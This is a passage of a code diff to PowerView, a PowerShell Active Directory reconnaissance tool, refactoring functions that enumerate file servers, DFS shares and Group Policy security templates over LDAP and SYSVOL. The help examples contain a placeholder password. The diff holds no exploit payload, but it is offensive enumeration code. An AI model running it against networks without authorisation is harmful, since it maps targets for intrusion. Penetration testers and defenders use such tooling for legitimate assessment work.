[System.Text.Encoding]::Unicode.GetString($blob_data[$short_prefix_start..$short_prefix_end]) - - $type_start = $short_prefix_end + 1 - $type_end = $type_start + 3 - $type = [bitconverter]::ToUInt32($blob_data[$type_start..$type_end],0) - - $state_start = $type_end + 1 - $state_end = $state_start + 3 - $state = [bitconverter]::ToUInt32($blob_data[$state_start..$state_end],0) - - $comment_size_start = $state_end + 1 - $comment_size_end = $comment_size_start + 1 - $comment_size = [bitconverter]::ToUInt16($blob_data[$comment_size_start..$comment_size_end],0) - $comment_start = $comment_size_end + 1 - $comment_end = $comment_start + $comment_size - 1 - if ($comment_size -gt 0) { - $comment = [System.Text.Encoding]::Unicode.GetString($blob_data[$comment_start..$comment_end]) - } - $prefix_timestamp_start = $comment_end + 1 - $prefix_timestamp_end = $prefix_timestamp_start + 7 - # https://msdn.microsoft.com/en-us/library/cc230324.aspx FILETIME - $prefix_timestamp = $blob_data[$prefix_timestamp_start..$prefix_timestamp_end] #dword lowDateTime #dword highdatetime - $state_timestamp_start = $prefix_timestamp_end + 1 - $state_timestamp_end = $state_timestamp_start + 7 - $state_timestamp = $blob_data[$state_timestamp_start..$state_timestamp_end] - $comment_timestamp_start = $state_timestamp_end + 1 - $comment_timestamp_end = $comment_timestamp_start + 7 - $comment_timestamp = $blob_data[$comment_timestamp_start..$comment_timestamp_end] - $version_start = $comment_timestamp_end + 1 - $version_end = $version_start + 3 - $version = [bitconverter]::ToUInt32($blob_data[$version_start..$version_end],0) - - # Parse rest of DFSNamespaceRootOrLinkBlob here - $dfs_targetlist_blob_size_start = $version_end + 1 - $dfs_targetlist_blob_size_end = $dfs_targetlist_blob_size_start + 3 - $dfs_targetlist_blob_size = [bitconverter]::ToUInt32($blob_data[$dfs_targetlist_blob_size_start..$dfs_targetlist_blob_size_end],0) - - $dfs_targetlist_blob_start = $dfs_targetlist_blob_size_end + 1 - $dfs_targetlist_blob_end = $dfs_targetlist_blob_start + $dfs_targetlist_blob_size - 1 - $dfs_targetlist_blob = $blob_data[$dfs_targetlist_blob_start..$dfs_targetlist_blob_end] - $reserved_blob_size_start = $dfs_targetlist_blob_end + 1 - $reserved_blob_size_end = $reserved_blob_size_start + 3 - $reserved_blob_size = [bitconverter]::ToUInt32($blob_data[$reserved_blob_size_start..$reserved_blob_size_end],0) - - $reserved_blob_start = $reserved_blob_size_end + 1 - $reserved_blob_end = $reserved_blob_start + $reserved_blob_size - 1 - $reserved_blob = $blob_data[$reserved_blob_start..$reserved_blob_end] - $referral_ttl_start = $reserved_blob_end + 1 - $referral_ttl_end = $referral_ttl_start + 3 - $referral_ttl = [bitconverter]::ToUInt32($blob_data[$referral_ttl_start..$referral_ttl_end],0) - - #Parse DFSTargetListBlob - $target_count_start = 0 - $target_count_end = $target_count_start + 3 - $target_count = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_count_start..$target_count_end],0) - $t_offset = $target_count_end + 1 - - for($j=1; $j -le $target_count; $j++){ - $target_entry_size_start = $t_offset - $target_entry_size_end = $target_entry_size_start + 3 - $target_entry_size = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_entry_size_start..$target_entry_size_end],0) - $target_time_stamp_start = $target_entry_size_end + 1 - $target_time_stamp_end = $target_time_stamp_start + 7 - # FILETIME again or special if priority rank and priority class 0 - $target_time_stamp = $dfs_targetlist_blob[$target_time_stamp_start..$target_time_stamp_end] - $target_state_start = $target_time_stamp_end + 1 - $target_state_end = $target_state_start + 3 - $target_state = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_state_start..$target_state_end],0) - - $target_type_start = $target_state_end + 1 - $target_type_end = $target_type_start + 3 - $target_type = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_type_start..$target_type_end],0) - - $server_name_size_start = $target_type_end + 1 - $server_name_size_end = $server_name_size_start + 1 - $server_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$server_name_size_start..$server_name_size_end],0) - - $server_name_start = $server_name_size_end + 1 - $server_name_end = $server_name_start + $server_name_size - 1 - $server_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$server_name_start..$server_name_end]) - - $share_name_size_start = $server_name_end + 1 - $share_name_size_end = $share_name_size_start + 1 - $share_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$share_name_size_start..$share_name_size_end],0) - $share_name_start = $share_name_size_end + 1 - $share_name_end = $share_name_start + $share_name_size - 1 - $share_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$share_name_start..$share_name_end]) - - $target_list += "\\$server_name\$share_name" - $t_offset = $share_name_end + 1 - } - } - } - $offset = $blob_data_end + 1 - $dfs_pkt_properties = @{ - 'Name' = $blob_name - 'Prefix' = $prefix - 'TargetList' = $target_list - } - $object_list += New-Object -TypeName PSObject -Property $dfs_pkt_properties - $prefix = $null - $blob_name = $null - $target_list = $null - } - - $servers = @() - $object_list | ForEach-Object { - if ($_.TargetList) { - $_.TargetList | ForEach-Object { - $servers += $_.split("\")[2] - } - } - } - - $servers - } - - function Get-DFSshareV1 { - [CmdletBinding()] - param( - [String] - $Domain, - - [String] - $DomainController, + BEGIN { + function Split-Path { + # short internal helper to split UNC server paths + Param([String]$Path) + + if ($Path -and ($Path.split('\\').Count -ge 3)) { + $Temp = $Path.split('\\')[2] + if ($Temp -and ($Temp -ne '')) { + $Temp + } + } + } + + $SearcherArguments = @{ + 'LDAPFilter' = '(&(samAccountType=805306368)(!(userAccountControl:1.2.840.113556.1.4.803:=2))(|(homedirectory=*)(scriptpath=*)(profilepath=*)))' + 'Properties' = 'homedirectory,scriptpath,profilepath' + } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + } + + PROCESS { + if ($PSBoundParameters['Domain']) { + ForEach ($TargetDomain in $Domain) { + $SearcherArguments['Domain'] = $TargetDomain + $UserSearcher = Get-DomainSearcher @SearcherArguments + # get all results w/o the pipeline and uniquify them (I know it's not pretty) + Sort-Object -Unique -InputObject $(ForEach($UserResult in $UserSearcher.FindAll()) {if ($UserResult.Properties['homedirectory']) {Split-Path($UserResult.Properties['homedirectory'])}if ($UserResult.Properties['scriptpath']) {Split-Path($UserResult.Properties['scriptpath'])}if ($UserResult.Properties['profilepath']) {Split-Path($UserResult.Properties['profilepath'])}}) + } + } + else { + $UserSearcher = Get-DomainSearcher @SearcherArguments + Sort-Object -Unique -InputObject $(ForEach($UserResult in $UserSearcher.FindAll()) {if ($UserResult.Properties['homedirectory']) {Split-Path($UserResult.Properties['homedirectory'])}if ($UserResult.Properties['scriptpath']) {Split-Path($UserResult.Properties['scriptpath'])}if ($UserResult.Properties['profilepath']) {Split-Path($UserResult.Properties['profilepath'])}}) + } + } +} + - [String] - $ADSpath, +function Get-DomainDFSShare { +<# +.SYNOPSIS - [ValidateRange(1,10000)] - [Int] - $PageSize = 200, +Returns a list of all fault-tolerant distributed file systems +for the current (or specified) domain. - [Management.Automation.PSCredential] - $Credential - ) +Author: Ben Campbell (@meatballs__) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher - $DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize +.DESCRIPTION - if($DFSsearcher) { - $DFSshares = @() - $DFSsearcher.filter = "(&(objectClass=fTDfs))" +This function searches for all distributed file systems (either version +1, 2, or both depending on -Version X) by searching for domain objects +matching (objectClass=fTDfs) or (objectClass=msDFS-Linkv2), respectively +The server data is parsed appropriately and returned. - try { - $Results = $DFSSearcher.FindAll() - $Results | Where-Object {$_} | ForEach-Object { - $Properties = $_.Properties - $RemoteNames = $Properties.remoteservername - $Pkt = $Properties.pkt +.PARAMETER Domain - $DFSshares += $RemoteNames | ForEach-Object { - try { - if ( $_.Contains('\') ) { - New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_.split("\")[2]} - } +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainDFSShare + +Returns all distributed file system shares for the current domain. + +.EXAMPLE + +Get-DomainDFSShare -Domain testlab.local + +Returns all distributed file system shares for the 'testlab.local' domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainDFSShare -Credential $Cred + +.OUTPUTS + +System.Management.Automation.PSCustomObject + +A custom PSObject describing the distributed file systems. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseApprovedVerbs', '')] + [OutputType('System.Management.Automation.PSCustomObject')] + [CmdletBinding()] + Param( + [Parameter( ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [ValidateNotNullOrEmpty()] + [Alias('DomainName', 'Name')] + [String[]] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [ValidateSet('All', 'V1', '1', 'V2', '2')] + [String] + $Version = 'All' + ) + + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + + function Parse-Pkt { + [CmdletBinding()] + Param( + [Byte[]] + $Pkt + ) + + $bin = $Pkt + $blob_version = [bitconverter]::ToUInt32($bin[0..3],0) + $blob_element_count = [bitconverter]::ToUInt32($bin[4..7],0) + $offset = 8 + #https://msdn.microsoft.com/en-us/library/cc227147.aspx + $object_list = @() + for($i=1; $i -le $blob_element_count; $i++){ + $blob_name_size_start = $offset + $blob_name_size_end = $offset + 1 + $blob_name_size = [bitconverter]::ToUInt16($bin[$blob_name_size_start..$blob_name_size_end],0) + + $blob_name_start = $blob_name_size_end + 1 + $blob_name_end = $blob_name_start + $blob_name_size - 1 + $blob_name = [System.Text.Encoding]::Unicode.GetString($bin[$blob_name_start..$blob_name_end]) + + $blob_data_size_start = $blob_name_end + 1 + $blob_data_size_end = $blob_data_size_start + 3 + $blob_data_size = [bitconverter]::ToUInt32($bin[$blob_data_size_start..$blob_data_size_end],0) + + $blob_data_start = $blob_data_size_end + 1 + $blob_data_end = $blob_data_start + $blob_data_size - 1 + $blob_data = $bin[$blob_data_start..$blob_data_end] + switch -wildcard ($blob_name) { + "\siteroot" { } + "\domainroot*" { + # Parse DFSNamespaceRootOrLinkBlob object. Starts with variable length DFSRootOrLinkIDBlob which we parse first... + # DFSRootOrLinkIDBlob + $root_or_link_guid_start = 0 + $root_or_link_guid_end = 15 + $root_or_link_guid = [byte[]]$blob_data[$root_or_link_guid_start..$root_or_link_guid_end] + $guid = New-Object Guid(,$root_or_link_guid) # should match $guid_str + $prefix_size_start = $root_or_link_guid_end + 1 + $prefix_size_end = $prefix_size_start + 1 + $prefix_size = [bitconverter]::ToUInt16($blob_data[$prefix_size_start..$prefix_size_end],0) + $prefix_start = $prefix_size_end + 1 + $prefix_end = $prefix_start + $prefix_size - 1 + $prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$prefix_start..$prefix_end]) + + $short_prefix_size_start = $prefix_end + 1 + $short_prefix_size_end = $short_prefix_size_start + 1 + $short_prefix_size = [bitconverter]::ToUInt16($blob_data[$short_prefix_size_start..$short_prefix_size_end],0) + $short_prefix_start = $short_prefix_size_end + 1 + $short_prefix_end = $short_prefix_start + $short_prefix_size - 1 + $short_prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$short_prefix_start..$short_prefix_end]) + + $type_start = $short_prefix_end + 1 + $type_end = $type_start + 3 + $type = [bitconverter]::ToUInt32($blob_data[$type_start..$type_end],0) + + $state_start = $type_end + 1 + $state_end = $state_start + 3 + $state = [bitconverter]::ToUInt32($blob_data[$state_start..$state_end],0) + + $comment_size_start = $state_end + 1 + $comment_size_end = $comment_size_start + 1 + $comment_size = [bitconverter]::ToUInt16($blob_data[$comment_size_start..$comment_size_end],0) + $comment_start = $comment_size_end + 1 + $comment_end = $comment_start + $comment_size - 1 + if ($comment_size -gt 0) { + $comment = [System.Text.Encoding]::Unicode.GetString($blob_data[$comment_start..$comment_end]) } - catch { - Write-Verbose "Error in parsing DFS share : $_" + $prefix_timestamp_start = $comment_end + 1 + $prefix_timestamp_end = $prefix_timestamp_start + 7 + # https://msdn.microsoft.com/en-us/library/cc230324.aspx FILETIME + $prefix_timestamp = $blob_data[$prefix_timestamp_start..$prefix_timestamp_end] #dword lowDateTime #dword highdatetime + $state_timestamp_start = $prefix_timestamp_end + 1 + $state_timestamp_end = $state_timestamp_start + 7 + $state_timestamp = $blob_data[$state_timestamp_start..$state_timestamp_end] + $comment_timestamp_start = $state_timestamp_end + 1 + $comment_timestamp_end = $comment_timestamp_start + 7 + $comment_timestamp = $blob_data[$comment_timestamp_start..$comment_timestamp_end] + $version_start = $comment_timestamp_end + 1 + $version_end = $version_start + 3 + $version = [bitconverter]::ToUInt32($blob_data[$version_start..$version_end],0) + + # Parse rest of DFSNamespaceRootOrLinkBlob here + $dfs_targetlist_blob_size_start = $version_end + 1 + $dfs_targetlist_blob_size_end = $dfs_targetlist_blob_size_start + 3 + $dfs_targetlist_blob_size = [bitconverter]::ToUInt32($blob_data[$dfs_targetlist_blob_size_start..$dfs_targetlist_blob_size_end],0) + + $dfs_targetlist_blob_start = $dfs_targetlist_blob_size_end + 1 + $dfs_targetlist_blob_end = $dfs_targetlist_blob_start + $dfs_targetlist_blob_size - 1 + $dfs_targetlist_blob = $blob_data[$dfs_targetlist_blob_start..$dfs_targetlist_blob_end] + $reserved_blob_size_start = $dfs_targetlist_blob_end + 1 + $reserved_blob_size_end = $reserved_blob_size_start + 3 + $reserved_blob_size = [bitconverter]::ToUInt32($blob_data[$reserved_blob_size_start..$reserved_blob_size_end],0) + + $reserved_blob_start = $reserved_blob_size_end + 1 + $reserved_blob_end = $reserved_blob_start + $reserved_blob_size - 1 + $reserved_blob = $blob_data[$reserved_blob_start..$reserved_blob_end] + $referral_ttl_start = $reserved_blob_end + 1 + $referral_ttl_end = $referral_ttl_start + 3 + $referral_ttl = [bitconverter]::ToUInt32($blob_data[$referral_ttl_start..$referral_ttl_end],0) + + #Parse DFSTargetListBlob + $target_count_start = 0 + $target_count_end = $target_count_start + 3 + $target_count = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_count_start..$target_count_end],0) + $t_offset = $target_count_end + 1 + + for($j=1; $j -le $target_count; $j++){ + $target_entry_size_start = $t_offset + $target_entry_size_end = $target_entry_size_start + 3 + $target_entry_size = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_entry_size_start..$target_entry_size_end],0) + $target_time_stamp_start = $target_entry_size_end + 1 + $target_time_stamp_end = $target_time_stamp_start + 7 + # FILETIME again or special if priority rank and priority class 0 + $target_time_stamp = $dfs_targetlist_blob[$target_time_stamp_start..$target_time_stamp_end] + $target_state_start = $target_time_stamp_end + 1 + $target_state_end = $target_state_start + 3 + $target_state = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_state_start..$target_state_end],0) + + $target_type_start = $target_state_end + 1 + $target_type_end = $target_type_start + 3 + $target_type = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_type_start..$target_type_end],0) + + $server_name_size_start = $target_type_end + 1 + $server_name_size_end = $server_name_size_start + 1 + $server_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$server_name_size_start..$server_name_size_end],0) + + $server_name_start = $server_name_size_end + 1 + $server_name_end = $server_name_start + $server_name_size - 1 + $server_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$server_name_start..$server_name_end]) + + $share_name_size_start = $server_name_end + 1 + $share_name_size_end = $share_name_size_start + 1 + $share_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$share_name_size_start..$share_name_size_end],0) + $share_name_start = $share_name_size_end + 1 + $share_name_end = $share_name_start + $share_name_size - 1 + $share_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$share_name_start..$share_name_end]) + + $target_list += "\\$server_name\$share_name" + $t_offset = $share_name_end + 1 } } } - $Results.dispose() - $DFSSearcher.dispose() + $offset = $blob_data_end + 1 + $dfs_pkt_properties = @{ + 'Name' = $blob_name + 'Prefix' = $prefix + 'TargetList' = $target_list + } + $object_list += New-Object -TypeName PSObject -Property $dfs_pkt_properties + $prefix = $Null + $blob_name = $Null + $target_list = $Null + } - if($pkt -and $pkt[0]) { - Parse-Pkt $pkt[0] | ForEach-Object { - # If a folder doesn't have a redirection it will - # have a target like - # \\null\TestNameSpace\folder\.DFSFolderLink so we - # do actually want to match on "null" rather than - # $null - if ($_ -ne "null") { - New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_} - } + $servers = @() + $object_list | ForEach-Object { + if ($_.TargetList) { + $_.TargetList | ForEach-Object { + $servers += $_.split('\')[2] } } } - catch { - Write-Warning "Get-DFSshareV1 error : $_" - } - $DFSshares | Sort-Object -Property "RemoteServerName" + + $servers } - } - function Get-DFSshareV2 { - [CmdletBinding()] - param( - [String] - $Domain, + function Get-DomainDFSShareV1 { + [CmdletBinding()] + Param( + [String[]] + $Domain, + + [String] + $SearchBase, + + [String] + $Server, - [String] - $DomainController, + [String] + $SearchScope = 'Subtree', - [String] - $ADSpath, + [Int] + $ResultPageSize = 200, - [ValidateRange(1,10000)] - [Int] - $PageSize = 200, + [Int] + $ServerTimeLimit, - [Management.Automation.PSCredential] - $Credential - ) + [Switch] + $Tombstone, - $DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) - if($DFSsearcher) { - $DFSshares = @() - $DFSsearcher.filter = "(&(objectClass=msDFS-Linkv2))" - $DFSSearcher.PropertiesToLoad.AddRange(('msdfs-linkpathv2','msDFS-TargetListv2')) + $DFSsearcher = Get-DomainSearcher @PSBoundParameters - try { - $Results = $DFSSearcher.FindAll() - $Results | Where-Object {$_} | ForEach-Object { - $Properties = $_.Properties - $target_list = $Properties.'msdfs-targetlistv2'[0] - $xml = [xml][System.Text.Encoding]::Unicode.GetString($target_list[2..($target_list.Length-1)]) - $DFSshares += $xml.targets.ChildNodes | ForEach-Object { - try { - $Target = $_.InnerText - if ( $Target.Contains('\') ) { - $DFSroot = $Target.split("\")[3] - $ShareName = $Properties.'msdfs-linkpathv2'[0] - New-Object -TypeName PSObject -Property @{'Name'="$DFSroot$ShareName";'RemoteServerName'=$Target.split("\")[2]} + if ($DFSsearcher) { + $DFSshares = @() + $DFSsearcher.filter = '(&(objectClass=fTDfs))' + + try { + $Results = $DFSSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + $Properties = $_.Properties + $RemoteNames = $Properties.remoteservername + $Pkt = $Properties.pkt + + $DFSshares += $RemoteNames | ForEach-Object { + try { + if ( $_.Contains('\') ) { + New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_.split('\')[2]} + } + } + catch { + Write-Verbose "[Get-DomainDFSShare] Get-DomainDFSShareV1 error in parsing DFS share : $_" } } - catch { - Write-Verbose "Error in parsing target : $_" + } + try { $Results.dispose() } catch {} + $DFSSearcher.dispose() + + if ($pkt -and $pkt[0]) { + Parse-Pkt $pkt[0] | ForEach-Object { + # If a folder doesn't have a redirection it will have a target like + # \\null\TestNameSpace\folder\.DFSFolderLink so we do actually want to match + # on 'null' rather than $Null + if ($_ -ne 'null') { + New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_} + } + } + } + } + catch { + Write-Warning "[Get-DomainDFSShare] Get-DomainDFSShareV1 error : $_" + } + $DFSshares | Sort-Object -Unique -Property 'RemoteServerName' + } + } + + function Get-DomainDFSShareV2 { + [CmdletBinding()] + Param( + [String[]] + $Domain, + + [String] + $SearchBase, + + [String] + $Server, + + [String] + $SearchScope = 'Subtree', + + [Int] + $ResultPageSize = 200, + + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + $DFSsearcher = Get-DomainSearcher @PSBoundParameters + + if ($DFSsearcher) { + $DFSshares = @() + $DFSsearcher.filter = '(&(objectClass=msDFS-Linkv2))' + $Null = $DFSSearcher.PropertiesToLoad.AddRange(('msdfs-linkpathv2','msDFS-TargetListv2')) + + try { + $Results = $DFSSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + $Properties = $_.Properties + $target_list = $Properties.'msdfs-targetlistv2'[0] + $xml = [xml][System.Text.Encoding]::Unicode.GetString($target_list[2..($target_list.Length-1)]) + $DFSshares += $xml.targets.ChildNodes | ForEach-Object { + try { + $Target = $_.InnerText + if ( $Target.Contains('\') ) { + $DFSroot = $Target.split('\')[3] + $ShareName = $Properties.'msdfs-linkpathv2'[0] + New-Object -TypeName PSObject -Property @{'Name'="$DFSroot$ShareName";'RemoteServerName'=$Target.split('\')[2]} + } + } + catch { + Write-Verbose "[Get-DomainDFSShare] Get-DomainDFSShareV2 error in parsing target : $_" + } } } + try { $Results.dispose() } catch {} + $DFSSearcher.dispose() + } + catch { + Write-Warning "[Get-DomainDFSShare] Get-DomainDFSShareV2 error : $_" } - $Results.dispose() - $DFSSearcher.dispose() - } - catch { - Write-Warning "Get-DFSshareV2 error : $_" + $DFSshares | Sort-Object -Unique -Property 'RemoteServerName' } - $DFSshares | Sort-Object -Unique -Property "RemoteServerName" } } - $DFSshares = @() + PROCESS { + $DFSshares = @() - if ( ($Version -eq "all") -or ($Version.endsWith("1")) ) { - $DFSshares += Get-DFSshareV1 -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize - } - if ( ($Version -eq "all") -or ($Version.endsWith("2")) ) { - $DFSshares += Get-DFSshareV2 -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize - } + if ($PSBoundParameters['Domain']) { + ForEach ($TargetDomain in $Domain) { + $SearcherArguments['Domain'] = $TargetDomain + if ($Version -match 'all|1') { + $DFSshares += Get-DomainDFSShareV1 @SearcherArguments + } + if ($Version -match 'all|2') { + $DFSshares += Get-DomainDFSShareV2 @SearcherArguments + } + } + } + else { + if ($Version -match 'all|1') { + $DFSshares += Get-DomainDFSShareV1 @SearcherArguments + } + if ($Version -match 'all|2') { + $DFSshares += Get-DomainDFSShareV2 @SearcherArguments + } + } - $DFSshares | Sort-Object -Property ("RemoteServerName","Name") -Unique + $DFSshares | Sort-Object -Property ('RemoteServerName','Name') -Unique + } } @@ -6056,1415 +9946,1672 @@ function Get-DFSshare { # ######################################################## - -filter Get-GptTmpl { +function Get-GptTmpl { <# - .SYNOPSIS +.SYNOPSIS + +Helper to parse a GptTmpl.inf policy file path into a hashtable. - Helper to parse a GptTmpl.inf policy file path into a custom object. +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, Get-IniContent - .PARAMETER GptTmplPath +.DESCRIPTION - The GptTmpl.inf file path name to parse. +Parses a GptTmpl.inf into a custom hashtable using Get-IniContent. If a +GPO object is passed, GPOPATH\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf +is constructed and assumed to be the parse target. If -Credential is passed, +Add-RemoteConnection is used to mount \\TARGET\SYSVOL with the specified creds, +the files are parsed, and the connection is destroyed later with Remove-RemoteConnection. - .PARAMETER UsePSDrive +.PARAMETER GptTmplPath - Switch. Mount the target GptTmpl folder path as a temporary PSDrive. +Specifies the GptTmpl.inf file path name to parse. - .EXAMPLE +.PARAMETER Credential - PS C:\> Get-GptTmpl -GptTmplPath "\\dev.testlab.local\sysvol\dev.testlab.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system. - Parse the default domain policy .inf for dev.testlab.local +.EXAMPLE + +Get-GptTmpl -GptTmplPath "\\dev.testlab.local\sysvol\dev.testlab.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" + +Parse the default domain policy .inf for dev.testlab.local + +.EXAMPLE + +Get-DomainGPO testing | Get-GptTmpl + +Parse the GptTmpl.inf policy for the GPO with display name of 'testing'. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-GptTmpl -Credential $Cred -GptTmplPath "\\dev.testlab.local\sysvol\dev.testlab.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" + +Parse the default domain policy .inf for dev.testlab.local using alternate credentials. + +.OUTPUTS + +Hashtable + +Ouputs a hashtable representing the parsed GptTmpl.inf file. #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType([Hashtable])] [CmdletBinding()] Param ( - [Parameter(Mandatory=$True, ValueFromPipeline=$True)] + [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('gpcfilesyspath', 'Path')] [String] $GptTmplPath, - [Switch] - $UsePSDrive + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty ) - if($UsePSDrive) { - # if we're PSDrives, create a temporary mount point - $Parts = $GptTmplPath.split('\') - $FolderPath = $Parts[0..($Parts.length-2)] -join '\' - $FilePath = $Parts[-1] - $RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join '' - - Write-Verbose "Mounting path $GptTmplPath using a temp PSDrive at $RandDrive" + BEGIN { + $MappedPaths = @{} + } + PROCESS { try { - $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop + if (($GptTmplPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) { + $SysVolPath = "\\$((New-Object System.Uri($GptTmplPath)).Host)\SYSVOL" + if (-not $MappedPaths[$SysVolPath]) { + # map IPC$ to this computer if it's not already + Add-RemoteConnection -Path $SysVolPath -Credential $Credential + $MappedPaths[$SysVolPath] = $True + } + } + + $TargetGptTmplPath = $GptTmplPath + if (-not $TargetGptTmplPath.EndsWith('.inf')) { + $TargetGptTmplPath += '\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf' + } + + Write-Verbose "[Get-GptTmpl] Parsing GptTmplPath: $TargetGptTmplPath" + Get-IniContent -Path $TargetGptTmplPath -ErrorAction Stop } catch { - Write-Verbose "Error mounting path $GptTmplPath : $_" - return $Null + Write-Verbose "[Get-GptTmpl] Error parsing $TargetGptTmplPath : $_" } - - # so we can cd/dir the new drive - $TargetGptTmplPath = $RandDrive + ":\" + $FilePath - } - else { - $TargetGptTmplPath = $GptTmplPath } - Write-Verbose "GptTmplPath: $GptTmplPath" - - try { - Write-Verbose "Parsing $TargetGptTmplPath" - $TargetGptTmplPath | Get-IniContent -ErrorAction SilentlyContinue - } - catch { - Write-Verbose "Error parsing $TargetGptTmplPath : $_" - } - - if($UsePSDrive -and $RandDrive) { - Write-Verbose 